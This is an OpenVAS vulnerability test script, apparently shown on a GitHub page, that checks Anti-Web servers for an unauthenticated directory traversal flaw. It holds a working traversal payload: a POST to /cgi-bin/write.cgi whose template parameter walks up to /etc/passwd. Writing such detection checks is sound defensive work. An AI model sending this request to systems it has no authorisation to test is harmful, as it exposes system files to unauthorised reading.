-
Notifications
You must be signed in to change notification settings - Fork 11
/
Plugin-OpenVAS
87 lines (68 loc) · 3.25 KB
/
Plugin-OpenVAS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
##############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_antiweb_dir_trav_vuln.nasl 6375 2017-06-20 09:29:31Z ckuersteiner $
#
# Anti-Web Directory Traversal Vulnerability
#
# Authors:
# Christian Kuersteiner <christian.kuersteiner..at..greenbone.net>
#
# Copyright:
# Copyright (c) 2017 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
CPE = "cpe:/a:anti-web:anti-web";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.106886");
script_version("$Revision: 6375 $");
script_tag(name: "last_modification", value: "$Date: 2017-06-20 11:29:31 +0200 (Tue, 20 Jun 2017) $");
script_tag(name: "creation_date", value: "2017-06-20 13:53:33 +0700 (Tue, 20 Jun 2017)");
script_tag(name: "cvss_base", value: "7.8");
script_tag(name: "cvss_base_vector", value: "AV:N/AC:L/Au:N/C:C/I:N/A:N");
script_tag(name: "qod_type", value: "exploit");
script_tag(name: "solution_type", value: "NoneAvailable");
script_name("Anti-Web Directory Traversal Vulnerability");
script_category(ACT_GATHER_INFO);
script_copyright("This script is Copyright (C) 2017 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("gb_antiweb_detect.nasl");
script_mandatory_keys("antiweb/installed");
script_tag(name: "summary", value: "Anti-Web is prone to a directory traversal vulnerability where an
unauthenticated attacker can read arbitrary files.");
script_tag(name: "vuldetect", value: "Sends a crafted HTTP POST request and checks the response.");
script_tag(name: "solution", value: "No solution or patch is available as of 20th June, 2017. Information
regarding this issue will be updated once the solution details are available.");
script_xref(name: "URL", value: "https://misteralfa-hack.blogspot.cl/2017/05/apps-industrial-ot-over-server-anti-web.html");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
if (!port = get_app_port(cpe: CPE))
exit(0);
url = "/cgi-bin/write.cgi";
data = 'page=/&template=../../../../../../etc/passwd';
req = http_post_req(port: port, url: url, data: data,
add_headers: make_array("Content-Type", "application/x-www-form-urlencoded"));
res = http_keepalive_send_recv(port: port, data: req);
if (res =~ "root:.*:0:[01]:") {
report = "It was possible to obtain the /etc/passwd file through a HTTP POST request on " +
report_vuln_url(port: port, url: url, url_only: TRUE);
security_message(port: port, data: report);
exit(0);
}
exit(0);